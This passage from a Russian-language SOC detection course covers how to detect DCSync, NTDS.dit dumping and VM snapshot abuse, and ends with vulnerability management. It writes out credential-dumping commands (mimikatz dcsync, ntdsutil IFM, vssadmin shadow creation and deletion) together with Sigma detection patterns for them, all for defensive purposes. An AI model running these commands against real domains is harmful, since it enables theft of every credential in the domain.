https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity author: Florian Roth (Nextron Systems) date: 2017/02/06 modified: 2022/06/19 tags: - attack.credential_access - attack.t1558.003 logsource: product: windows service: security detection: selection: EventID: 4769 TicketOptions: '0x40810000' TicketEncryptionType: '0x17' reduction: ServiceName|endswith: '$' condition: selection and not reduction falsepositives: - Service accounts used on legacy systems (e.g. NetApp) - Windows Domains with DFL 2003 and legacy systems level: medium ``` ``` Самый оптимальный способ выявления атаки kerberoasting — использование [SPN HoneyToken](https://github.com/whoamins/SPN-Honeypot). HoneyToken — это в данном случае подделанная учетная запись приманка с SPN, которая потом отслеживается на возникающие к ней запросы, т.к. в легитимных целях она не используется. Дополнительный материал об атаке [Kerberoasting](https://habr.com/ru/articles/650889/). ## Атака DCSync **DCSync** — это атака, позволяющая злоумышленнику выдавать себя за контроллер домена (DC, domain controller) с целью получения базы учетных данных пользователей для последующего горизонтального перемещения в сети и/или доступа к конфиденциальной информации. В основе атаки лежит механизм, предусмотренный для выполнения репликации данных между контроллерами домена (DC). Механизм репликации данных архитектурно заложен в операционной системе Windows. Службы Active Directory и протокол [MS-DRSR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47) отвечают за взаимодействие между контроллерами домена и осуществляют репликацию. Сама компания Microsoft рекомендует изначально устанавливать как минимум два и более контроллера для одного домена в корпоративной сети, чтобы обеспечить отказоустойчивость доменной инфраструктуры. В процессе репликации данных между контроллерами помимо обычных атрибутов об объекте (имя, отчество, списка групп и так далее) передается и чувствительная информация, например, хеши паролей пользователей, поскольку каждый контроллер выступает как точка для аутентификации и авторизации в домене. Как уже можно было догадаться, отчасти именно из-за наличия такого механизма возможна реализация атаки типа DCSync. Атакующий, имея необходимый набор привилегий, может отправить одному из контроллеров домена организации запрос на выполнение репликации. Запросив при этом информацию по одному или нескольким объектам в домене. Таким образом злоумышленник удаленно собирает хеши паролей пользователей и другую полезную информацию в домене без выполнения какого-либо вредоносного кода на самих контроллерах домена организации. Необходимые права доступа для проведения атаки DCSync.
Наименование Common Name(общее имя) Rights-GUID(идентификатор прав)
Replicating Directory Changes [DRS-Replication-Get-Changes](https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes) 1131f6aa-9c07–11d1-f79f-00c04fc2dcd2
Replicating Directory Changes All [DRS-Replication-Get-Changes-All](https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all) 1131f6ad-9c07–11d1-f79f-00c04fc2dcd2
Атаку DCSync можно выполнить с помощью инструментов, таких как **secretsdump** из набора impacket и широко известной утилитой **mimikatz**. Например злоумышленник выполняет атаку DCSync с помощью команды ``` ```bash lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv ``` ``` ![](https://ucarecdn.com/982efb30-bf1e-4b8e-9613-6c16354bd95c/) Выявить атаку на контроллере домена можно с помощью события **EventID=[4662](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4662)** журнала Security. Важно понимать, что включение аудита события 4662 может повлечь за собой генерацию большого количества событий, особенно при неаккуратной настройке [SACL](https://ru.wikipedia.org/wiki/SACL). Настройка происходит в групповой политике: *Computer configurations > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy > Audit Directory Service Access > Enable Success*. При настройке этого параметра в журналах будут генерироваться два новых идентификатора события: 4661 и 4662. Предварительно должен быть так же настроен SACL для отслеживания доступа к объектам AD на контроллере домена связанные с репликацией: ``` ```vbnet AD Users and Computers > [Domain] > properties > security > advanced > auditing > add: Principal: Everyone Type: Success Applies to: This Object Only Permissions: Replicating Directory Changes; Replicating Directory Changes All ``` ``` В результате атаки фиксируется событие, в котором необходимо обратить внимание на поле: ``` ```php-template %%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} ``` ``` ``` ```javascript - - 4662 0 0 14080 0 0x8020000000000000 111044 Security WIN-O6QVDOTOFCA.lab.local - S-1-5-21-1043167210-2633990363-2710869231-500 administrator LAB 0x45440 DS %{19195a5b-6da0-11d0-afd3-00c04fd930c9} %{83fb1e47-6d25-4d4b-a710-e244aca1c5e8} Object Access 0x0 %%7688 0x100 %%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} - ``` ``` Пример правила для выявления атаки DCSync и в том числе DCShadow на [Sigma](https://github.com/mdecrevoisier/SIGMA-detection-rules/blob/main/windows-active_directory/win-ad-sensitive%20attributes%20accessed%20(DCshadow).yaml). Дополнительный материал про [DCSync](https://habr.com/ru/companies/rvision/articles/709866/). ## Получение базы даных NTDS.dit Контроллер домена отвечает за хранение базы данных домена **NTDS.dit** со всей информацией об объектах домена и обслуживает службы Active Directory, такие как аутентификация, авторизация, разрешение имен и т.д. База данных хранится в файле `C:\Windows\NTDS\ntds.dit` на контроллере домена. Поэтому, если кто-то украдет этот файл, он сможет получить доступ ко всей информации об объектах домена (компьютерах, пользователях, группах, политиках и т.д.), включая учетные данные и хэши пользователей. Следовательно, доступ к этому файлу и к контроллерам домена должен быть ограничен администраторами домена и отслеживаться корреляционными правилам командой мониторинга SOC. При получении доступа к учетной записи администратора домена, можно сделать дамп содержимого базы данных контроллера домена, чтобы прочитать некоторые конфиденциальные данные, такие как `krbtgt` учетные данные пользователя, для создания золотого билета ([Golden Ticket](https://habr.com/ru/companies/rvision/articles/686784/)) и дальнейшего свободного продвижения по всей Windows инфраструктуре. Чтобы извлечь содержимое базы данных, злоумышленник может войти в систему на контроллере домена и локально выгрузить файл NTDS.dit с помощью встроенных в системе утилит [ntdsutil](https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/identity/use-ntdsutil-manage-ad-files) или [vssadmin](https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/vssadmin). Данные утилиты нужны, потому что просто так взять и скопировать файл `C:\Windows\NTDS\ntds.dit` не получится так, как он используется всегда системой. Есть еще наиболее изящный для злоумышленников способов заполучить базу NTDS.dit, злоумышленник может заполучить административный доступ к системе виртуализации, где у него будет возможность сделать мгновенный снимок (SnapShot) виртуальной машины с сервером Active Directory, далее он выгружает к себе снимок виртуальной машины и делает с ним что хочет, в нашем случае, разбирает базу NTDS.dit. При этом система мониторинга уже это не сможет выявить, если только отслеживать на более раннем этапе действия учтеных записей по созданию снапшотов критичных серверов и их выгрузке из системы виртуализации. Детальнее об этом рассмотрим далее в уроке 4.4 текущего курса. Рассмотрим вариант дампа базы NTDS.dit с помощью утилиты ntdsutil. Классическая команда выглядит следующим образом ``` ```nginx ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit ``` ``` ![](https://ucarecdn.com/5c4b604e-a1b1-4ca4-b1ca-2065652339c0/) Выполнение вышеуказанной команды можно зафиксировать с помощью события создания процесса **EventID=1** журнала Symon, **EventID=4688** журнала Security и с помощью события запуска скриптблоков **EventID=4104** журнала Powershell на контроллере домена. Обратите ниже внимание на строку в событии c EventID=1(Sysmon) ``` ```bash ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit ``` ``` ``` ```javascript - - 1 5 4 1 0 0x8000000000000000 8119972 Microsoft-Windows-Sysmon/Operational WIN-O6QVDOTOFCA.lab.local - - 2024-02-10 09:42:40.602 {460797FE-4510-65C7-AF07-000000001800} 3856 C:\Windows\System32\ntdsutil.exe 6.3.9600.16384 (winblue_rtm.130821-1623) NT5DS Microsoft® Windows® Operating System Microsoft Corporation ntdsutil.exe ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit C:\Temp\ LAB\Administrator {460797FE-9671-65BE-4054-040000000000} 0x45440 1 High MD5=0741B31AF51B150DF84BFEFD4A15C624,SHA256=D2C7BD14D91124401AAC6F19DD2D2EDDA0EAAC55CFFB654583444137960EEDCA,IMPHASH=6D8CC7C1C74B6AA69C6C1F189D5781D9 {460797FE-9696-65BE-3A00-000000001800} 2056 C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" LAB\Administrator ``` ``` Так же сгенерировалось событие создания файла с **EventID=11** журнала Sysmon. Обратите внимание на следующие поля: - `C:\Windows\system32\ntdsutil.exe` — процес который создал файл - `C:\Windows\Temp\NTDS\Active Directory\ntds.dit` — этот файл уже может спокойно себе скачать злоумышленник, например, для дальнейшей генерации Golden Ticket. ``` ```javascript - - 11 2 4 11 0 0x8000000000000000 8120158 Microsoft-Windows-Sysmon/Operational WIN-O6QVDOTOFCA.lab.local - Suspicious 2024-02-10 09:42:51.306 {460797FE-4510-65C7-AF07-000000001800} 3856 C:\Windows\system32\ntdsutil.exe C:\Windows\Temp\NTDS\Active Directory\ntds.dit 2024-02-10 09:42:51.306 LAB\Administrator ``` ``` Пример правила на [Sigma](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml) для выявления атак связанных с кражей ntds.dit ниже. ``` ```sql title: Suspicious Process Patterns NTDS.DIT Exfil id: 8bc64091-6875-4881-aaf9-7bd25b5dda08 status: test description: Detects suspicious process patterns used in NTDS.DIT exfiltration references: - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration - https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/ - https://pentestlab.blog/tag/ntds-dit/ - https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1 - https://github.com/zcgonvh/NTDSDumpEx - https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1 - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1 author: Florian Roth (Nextron Systems) date: 2022/03/11 modified: 2022/11/10 tags: - attack.credential_access - attack.t1003.003 logsource: product: windows category: process_creation detection: selection_tool: # https://github.com/zcgonvh/NTDSDumpEx - Image|endswith: - '\NTDSDump.exe' - '\NTDSDumpEx.exe' - CommandLine|contains|all: # ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hiv - 'ntds.dit' - 'system.hiv' - CommandLine|contains: 'NTDSgrab.ps1' selection_oneliner_1: # powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" CommandLine|contains|all: - 'ac i ntds' - 'create full' selection_onliner_2: # cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit CommandLine|contains|all: - '/c copy ' - '\windows\ntds\ntds.dit' selection_onliner_3: # ntdsutil "activate instance ntds" "ifm" "create full c:\windows\temp\data\" "quit" "quit" CommandLine|contains|all: - 'activate instance ntds' - 'create full' selection_powershell: CommandLine|contains|all: - 'powershell' - 'ntds.dit' set1_selection_ntds_dit: CommandLine|contains: 'ntds.dit' set1_selection_image_folder: - ParentImage|contains: - '\apache' - '\tomcat' - '\AppData\' - '\Temp\' - '\Public\' - '\PerfLogs\' - Image|contains: - '\apache' - '\tomcat' - '\AppData\' - '\Temp\' - '\Public\' - '\PerfLogs\' condition: 1 of selection* or all of set1* falsepositives: - Unknown level: high ``` ``` Рассмотрим следующий вариант дампа базы ntds.dit с помощью утилиты vssadmin. Классическая команда выглядит следующим образом `vssadmin create shadow /for=C:`. Выявить активность можно с помощью событий **EventID=4688** журнала Security, **EventID=1** журнала Sysmon. Обратите внимание на зафиксированную командную строку в событии `vssadmin create shadow /for=C: ` ``` ```javascript - - 1 5 4 1 0 0x8000000000000000 8140166 Microsoft-Windows-Sysmon/Operational WIN-O6QVDOTOFCA.lab.local - - 2024-02-10 12:14:55.026 {460797FE-68BF-65C7-EC07-000000001800} 860 C:\Windows\System32\vssadmin.exe 6.3.9600.17415 (winblue_r4.141028-1500) Command Line Interface for Microsoft® Volume Shadow Copy Service Microsoft® Windows® Operating System Microsoft Corporation VSSADMIN.EXE vssadmin create shadow /for=C: C:\Temp\ LAB\Administrator {460797FE-9671-65BE-4054-040000000000} 0x45440 1 High MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452 {460797FE-9696-65BE-3A00-000000001800} 2056 C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" LAB\Administrator ``` ``` Соответственно мы обнаружим создание файла `C:\Windows\Temp\ntds.dit.save` в событие **EventID=11** журнала Sysmon. ``` ```javascript - - 11 2 4 11 0 0x8000000000000000 8140853 Microsoft-Windows-Sysmon/Operational WIN-O6QVDOTOFCA.lab.local - Executable 2024-02-10 12:19:54.526 {460797FE-9696-65BE-3A00-000000001800} 2056 C:\Windows\system32\cmd.exe C:\Windows\Temp\ntds.dit.save 2024-02-10 12:19:54.526 LAB\Administrator ``` ``` Для заметания следов следующим шагом злоумышленник может выполнить команду: ``` ```bash vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459} ``` ``` Обратите внимание на зафиксированную команду в событии: ``` ```php-template vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459} ``` ``` ``` ```javascript - - 1 5 4 1 0 0x8000000000000000 8141617 Microsoft-Windows-Sysmon/Operational WIN-O6QVDOTOFCA.lab.local - - 2024-02-10 12:25:31.136 {460797FE-6B3B-65C7-F207-000000001800} 3332 C:\Windows\System32\vssadmin.exe 6.3.9600.17415 (winblue_r4.141028-1500) Command Line Interface for Microsoft® Volume Shadow Copy Service Microsoft® Windows® Operating System Microsoft Corporation VSSADMIN.EXE vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459} C:\Temp\ LAB\Administrator {460797FE-9671-65BE-4054-040000000000} 0x45440 1 High MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452 {460797FE-9696-65BE-3A00-000000001800} 2056 C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" LAB\Administrator ``` ``` Далее злоумышленник любым из возможных способов может забрать к себе файл `C:\Windows\Temp\ntds.dit.save`. **Действия при компроментации системы** 1. Сбросьте все пароли учетных записей пользователей: - сбросьте дважды (с интервалом не менее восьми часов) пароль пользователя KRBTGT; - сбросить все пароли администратора; - сбросить пароли всех сервисных учетных записей; - сбросить все пароли учетных записей компьютеров. 2. Проверьте значение параметра срока жизни пароля для компьютеров. Злоумышленники могут изменить этот срок, чтобы предоставить себе доступ с использованием машинных хэшей на более длительный [срок](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/domain-member-maximum-machine-account-password-age). 3. Сбросить все пароли LAPS. 4. Сбросить разрешения для объекта AdminSDHolders. 5. Удалить у всех администраторов домена и администраторов систем все данные из атрибута msDS-KeyCredentialLink. 6. Занести всех администраторов домена и администраторов систем в группу Protected Users. 7. Отозвать и перевыпустить все сертификаты ADCS. 8. Проверьте наличие вредоносных запланированных задач. 9. Проверьте наличие вредоносных автозапусков или других механизмов сохранения на основе реестра. 10. Проверьте наличие бэкдоров в стиле utilman. 11. Проверьте наличие вредоносных принтеров/драйверов принтеров. 12. Просмотрите права делегированного доступа Active Directory (RBCD Bakdoors). 13. Ротация сертификатов подписи токенов ADFS и сертификатов расшифровки токенов. 14. Проверьте дескрипторы безопасности [Service Control Manager](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) (SCM). 15. Проверьте наличие изменений объекта в соответствии с первоначальными временными рамками доступа/событий. 16. Проверка членства в группах на соответствие известным базовым показателям. 17. Просмотрите сценарии входа в GPO и SYSVOL. 18. Просмотрите домены и доверительные отношения Active Directory. 19. Установить все последние обновления безопасности. # Контроль системы виртуализации **Популярные систем виртуализации** **VMware vSphere/ESXi** vSphere комплексное решение, объединяющее физические ресурсы в общую инфраструктуру. Основой vSphere является гипервизор ESXi, который устанавливается непосредственно на сервер и позволяет создавать и управлять виртуальными машинами. Гипервизор ESXi обеспечивает высокую производительность и безопасность. vCenter Server предоставляет централизованное управление и мониторинг всей виртуализированной инфраструктуры. VMware ESXi сохраняет активность хоста в лог-файлах, используя установки syslog. Полезные для анализа лог-файлы:
/var/log/auth.logСобытия, связанные с аутентификацией для локальной системы.
/var/log/hostd.logСодержит информацию об агенте, который управляет и настраивает хост ESXi и его виртуальные машины.
/var/log/shell.logзапись всех команд, введенных в оболочку ESXi, и событий оболочки
/var/log/syslog.logобщие сообщения журнала и может использоваться для устранения неполадок
/var/log/vpxa.logСодержит информацию об агенте, который общается с vCenter Server
/var/log/vmkernel.logдействия, связанные с виртуальными машинами и ESXi.
/var/log/vmksummary.logопределения статистики доступности и времени работы ESXi
/var/log/vmkwarning.log
/var/log/loadESX.logсобытия, связанные с перезагрузкой хоста ESXi через Quick Boot
Рекомендуется настроить ведение журнала на SIEM. По умолчанию, логи на хостах ESXi хранятся в файловой системе в памяти. Они теряются при перезагрузке хоста и хранятся только 24 часа. Логи виртуальных машин хранятся в той же директории, что и файлы конфигурации виртуальной машины, и называются vmware.log и vmware\*.log2. Путь к лог-файлу должен быть похож на /vmfs/volumes/<datastore>/<virtual machine>/vmware.log. Ниже пример содержимого лог-файла vmware.log: ``` 2022-07-15T18:50:30.687Z| vmx| I125: SnapshotVMX_TakeSnapshot start: 'Snapshot 1', deviceState=0, lazy=0, logging=0, quiesced=0, forceNative=0 2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoRead: Done version 7 data. 2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoReadExtra done. 2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: numDisks = 1 version=7 encoding=UTF-8 2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: 'ide0:0.fileName' = 'Windows 7.vmdk' ... 2022-07-15T18:50:31.020Z| vmx| I125: DISKLIB-VMFS  : "/vmfs/volumes/4ec4c10b-6e8e3982-e2db-001cc4ded8c6/Windows 7/Windows 7-000001.vmdk" : open successful (10) size = 0, hd = 10527744. Type 3 ... 2022-07-15T18:50:31.478Z| vmx| I125: SNAPSHOT: SnapshotBranchDisk: Done with ide0:0. 2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMX_TakeSnapshot done. 2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMXTakeSnapshotComplete: Snapshot 1 ``` В этом примере можно увидеть процесс создания снимка для виртуальной машины “Windows 7”. Имя снимка, время его создания и другие детали будут отражены в лог-файле. **Microsoft Hyper-V:** Разработанный Microsoft, Hyper-V предоставляет встроенные инструменты для виртуализации на платформе Windows. Hyper-V включен в операционные системы Windows Server и предоставляет множество возможностей для управления виртуальными машинами и ресурсами. Группы файлов журналов Существует 11 различных файлов журналов, которые используются для сбора информации Hyper-V обычным способом просмотра событий, хотя и гораздо более полезным способом. Windows Server 2016 содержит следующие группы файлов журналов, которые помогают устранять неполадки в средах Hyper-V: ![](https://ucarecdn.com/c3742f49-309c-4534-bea6-a46b63e8602c/) Чтобы найти различные журналы событий, специфичные для Hyper-V, в средстве просмотра событий Windows, перейдите в раздел *Windows Logs -> Applications and Services Logs -> Microsoft -> Windows*. - Hyper-V-Compute — собирает информацию об API управления контейнерами, известном как Host Compute Service (HCS), и служит API управления низкого уровня. - Hyper-V-Config — фиксирует события, связанные с файлами конфигурации виртуальной машины. Здесь будут регистрироваться ошибки, связанные с отсутствием, повреждением или недоступностью файлов конфигурации виртуальной машины. - Hyper-V-Guest-Drivers — файл журнала, который содержит информацию о компонентах служб интеграции Hyper-V и предоставляет ценную информацию по устранению проблем с компонентами интеграции. - Hyper-V-High-Availability — события, связанные с отказоустойчивыми кластерами Hyper-V Windows Server - Hyper-V-Hypervisor — события, связанные с самим гипервизором Hyper-V. Например, если Hyper-V не запускается, то причину можно поискать в этой ветке логов. Кроме того, здесь будут регистрироваться информационные сообщения, такие как созданные или удаленные разделы Hyper-V. - Hyper-V-Shared-VHDX — в этом журнале находится информация, относящаяся к общим виртуальным дискам VHDX между виртуальными машинами. - Hyper-V-StorageVSP — собирает информацию о поставщике услуг виртуализации хранилища. Здесь содержится информация по устранению неполадок низкого уровня для хранилища виртуальных машин. - Hyper-V-VID — регистрирует события драйвера инфраструктуры виртуализации, касающиеся назначения памяти, динамической памяти или изменения статической памяти при работающей виртуальной машине. - Hyper-V-VMMS — события службы управления виртуальными машинами, которые важны для устранения неполадок виртуальной машины, которая не запускается, или сбоя операции динамической миграции. - Hyper-V-VmSwitch — содержит события от коммутаторов виртуальной сети. - Hyper-V-Worker — журнал, в котором фиксируется информация о рабочем процессе Hyper-V, который отвечает за фактическую работу виртуальной машины. Нам будет более интересна группа событий **Hyper-V-VMMS.** Ниже представлены примеры некоторых событий Hyper-V, которые могут помочь отследить действия с виртуальными машинами: 1. **Создание снимка (событие ID 18012)**: Это событие регистрируется, когда создается новый снимок виртуальной машины. В журнале событий будет указано имя виртуальной машины и имя снимка. ``` ```makefile Источник: Microsoft-Windows-Hyper-V-VMMS ID события: 18012 Уровень: Информация Описание: Снимок 'Имя снимка' был успешно создан для виртуальной машины 'Имя виртуальной машины'. ``` ``` 2. **Изменение конфигурации (событие ID 12540)**: Это событие регистрируется, когда изменяется конфигурация виртуальной машины. В журнале событий будет указано имя виртуальной машины и детали изменения. ``` ```makefile Источник: Microsoft-Windows-Hyper-V-VMMS ID события: 12540 Уровень: Информация Описание: Конфигурация виртуальной машины 'Имя виртуальной машины' была успешно изменена. ``` ``` 3. **Перемещение виртуальной машины (событие ID 20410)**: Это событие регистрируется, когда виртуальная машина перемещается с одного хоста на другой. В журнале событий будет указано имя виртуальной машины и детали перемещения. ```makefile Источник: Microsoft-Windows-Hyper-V-VMMS ID события: 20410 Уровень: Информация Описание: Виртуальная машина 'Имя виртуальной машины' была успешно перемещена ``` **KVM (Kernel-based Virtual Machine):** KVM встроен в ядро Linux и обеспечивает поддержку виртуализации на уровне аппаратного обеспечения. Это открытое программное обеспечение и является частью многих дистрибутивов Linux. KVM обеспечивает высокую производительность и расширяемость. Система виртуализации KVM хранит различные типы логов, которые помогают в отслеживании действий и устранении проблем. Ниже представлены некоторые из них:
/var/log/syslog или /var/log/messagesобщие логи операционной системы, которые также могут содержать информацию о действиях KVM
/var/log/libvirt/Libvirt — это инструментарий для управления платформами виртуализации, включая KVM
KVM использует QEMU для эмуляции аппаратного обеспечения. Логи QEMU могут быть полезны для отладки проблем с эмуляцией аппаратного обеспечения.
Каждая виртуальная машина, работающая под управлением KVM, также может генерировать свои собственные логи. Эти логи могут быть полезны для отладки проблем внутри виртуальной машины. Учитывая, что под капотом KVM находится обычный Linux, мы могли бы отслеживать события обращения к критичным ВМ несколькими методами.
Трекинг команд на хост системе: ``` # Клонирование VM: virt-clone # Создание снепшота диска: virsh snapshot-create-as # Изменение конфигурации: virsh dumpxml ``` Трекинг логов приложения виртуализации. В логах KVM и libvirt есть записи о выполнении команд, связанных с клонированием виртуальных машин, созданием снимков и изменением конфигурации. Например, при клонировании виртуальной машины можете увидеть запись вида: ``` 2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2 2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host 2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='original-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a is cloned as id=8 name='cloned-vm' uuid=5e60f7e8cc5a-11b2-4fd4-b2c5-546a3d63 ``` При создании снимка диска: ``` 2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2 2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host 2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a snapshot 'snapshot1' was created ``` И при изменении конфигурации виртуальной машины: ``` 2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2 2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host 2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a configuration was changed ``` Xen: Xen предлагает возможность использовать как гипервизор (Xen Hypervisor), так и технологию паравиртуализации. Xen был разработан для обеспечения высокой производительности и безопасности, и широко применяется в различных областях. Эти системы виртуализации предоставляют различные возможности и применяются в зависимости от требований конкретных сценариев использования. Выбор системы виртуализации зависит от целей, бюджета, уровня экспертизы и конкретных потребностей виртуальной инфраструктуры. # Дополнительные индикаторы компроментации Уязвимость - любая слабость в системе, например ошибка, которая обеспечивает злоумышленнику физический или цифровой доступ к системе. Угроза - человек, ситуация или прочее воздействие, способное воспользоваться уязвимостью Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. Управление уязвимостями позволяет снижать вероятность компрометации путем их своевременного обнаружения и устранения. Важно определение приоритетов для исправления уязвимостей на основе их серьезности и вероятности эксплуатации. Набор техник направлен на определение и классификацию уязвимостей в системах и приложениях до использования и анализ потенциального воздействия уязвимостей. Включает в себя шаги: ![](https://ucarecdn.com/12b4bb8f-d70d-4b88-a75d-80decd3b137a/) **1. Определение активов и требований.** Сначала реестр данных, активов и ПО. Определить внешние требования, например соответствие стандартам или сертификациям. Учитывается несколько факторов: - Требования регуляторов — ФСТЭК, PCI-DSS, SOC2, ISO и прочие. - Корпоративную политику — компания должна иметь зафиксированные процедуры для обеспечения процесса. - Классификацию данных — нужно знать, какие данные мы обрабатываем и где эти данные находятся. Также, данные должны быть классифицированы по уровню чувствительности, например публичные, для внутреннего использования и секретные данные. **2. Приоретизация активов.** При создании (обновлении) реестра активов, каждому активу проставляется "вес", учитывающийся при подготовке отчета и приоретизации уязвимостей для устранения. Зависит от типа компании. Уязвимости должны устраняться в первую очередь на активах, имеющих больший вес. **3. Поиск уязвимостей.** Процесс должен учитывать критичность активов. Учитываемые параметры при настройке ПО: - Частота сканирования. Нет смысла проверять каждый день, если IT отдел может устранить найденные проблемы в течении квартала. Учитываются требования регуляторов; аппетит бизнеса к рискам; потенциальное нарушение доступности сервисов из-за сканирования; наличие или отсутствие необходимых ресурсов (людей, серверов, времени). - Аутентификация. Сканеру уязвимостей можно предоставить учетные данные для доступа на проверяемый актив. Проверка уязвимостей с аутентификацией точнее. Сканирование без аутентификации показывает картину глазами атакующего и позволяет точнее определить уязвимости(если они будут подтверждены), которые следует закрывать в первую очередь. - "Разрушительность" сканирования При настройке сканера как правило можно выбрать инвазивность сканирования (проверять ли DoS, пытаться ли подбирать пароли для учетных записей и пр.). Некоторые проверки могут привести к нарушению работоспособности сервиса или блокировке учетных записей. Уникален для каждой компании. - Обновление базы уязвимостей и подготовка профиля для сканирования. Например, если в компании не используется Linux, нет смысла искать уязвимости для этой ОС, их можно исключить из профиля сканирования и значительно сократить время и интенсивность проверок. - Серверное сканирование и сканирование с использованием агентов. Существует опция установки агента на проверяемые машины. Полезно для серверов, находящихся в DMZ, или рабочих станций пользователей, работающих удаленно. Сканирование со стороны сервера, в свою очередь, может выявить новые и/или не задокументированные устройства в сети. **4. Оценка уязвимостей и отчет** Например, критическая уязвимость на сервере, не подключенном к интернету и находящемся в бункере будет иметь приоритет ниже, чем подобная уязвимость на публичном веб-сервере. Полученный отчет отправляется владельцу актива для устранения. **5. Исправление уязвимости** Владелец актива устраняет уязвимости в отчете (установка обновлений безопасности, отключение уязвимых сервисов, замену устаревшего оборудования). Затем подтверждается, что уязвимость действительно устранена. Сотрудник, ответственный за устранение уязвимости определяет следующие аспекты: - Порядок устранения — сортировка по критичности, сложности устранения и стоимости устранения. - В какое время это будет происходить — процесс устранения уязвимостей должен проводиться в соответствии с политикой изменений компании. В процессе устранения уязвимостей сервис может быть какое-то время недоступен, что может повлиять на SLA компании. Само исправление уязвимости может также нести в себе риски для компании, поэтому обычно исправления сначала обкатываются в тестовой среде, и только после этого попадают в продакшн. - Каким образом это будет происходить — нужно ли нотифицировать об изменении партнеров, менеджмент, соседние отделы, и т.д. **6. Проверка эффективности процесса** Для стабильной работы необходимо постоянно оценивать его эффективность (сбор метрик, статистики или аудит). Поиск, адресация и устранение уязвимостей могут генерировать значительную нагрузку на технический персонал, бюджет, и, в зависимости от выстроенных процессов, административную нагрузку на согласование заявок на устранение. Частота/глубина сканов и скорость устранения уязвимостей зависит от множества факторов и будет уникальной для каждой компании. Единственная универсальная рекомендация — этот процесс должен быть регулярным. Независимо от частоты сканирования (для кого-то и частота сканирований раз в год будет подходящим вариантом). Наличие регулярного процесса помогает заранее планировать время и ресурсы, повышает общую осведомленность сотрудников IT, и позволяет оценивать изменения уровня рисков за наблюдаемый период времени. **Управление уязвимостями внутри периметра** Как правило внутренние сканы бывают следующих видов: - Discovery scan (сканирование для обнаружения активов) — легкий скан, как правило используются ICMP ping или TCP SYN, предназначенный в первую очередь для обнаружения новых хостов в сети. - Authentication check — проверка аутентификации сканера на сканируемых машинах. Сканы с аутентификацией дают более точную информацию об уязвимостях, поэтому имеет смысл проверять, может ли сканер успешно авторизоваться на исследуемых узлах сети. - SCA(Security Configuration Asessment) scan — проверка конфигурации машины на предмет соответствия стандартам или внутренним требованиям. - Inventory scan — сбор информации об установленном ПО/железе и их версий. - Specific CVE scan — проверка сети на наличие конкретных уязвимостей. Обычно настраивается профилем сканирования, используется инженерами для ускорения процесса поиска уязвимостей, как правило свежеанонсированных 0-day. Например, после анонса уязвимости в пакете xz utils имеет смысл создать профиль, проверяющий только версию пакета и с помощью быстрого скана оценить количество затронутых этой проблемой хостов. 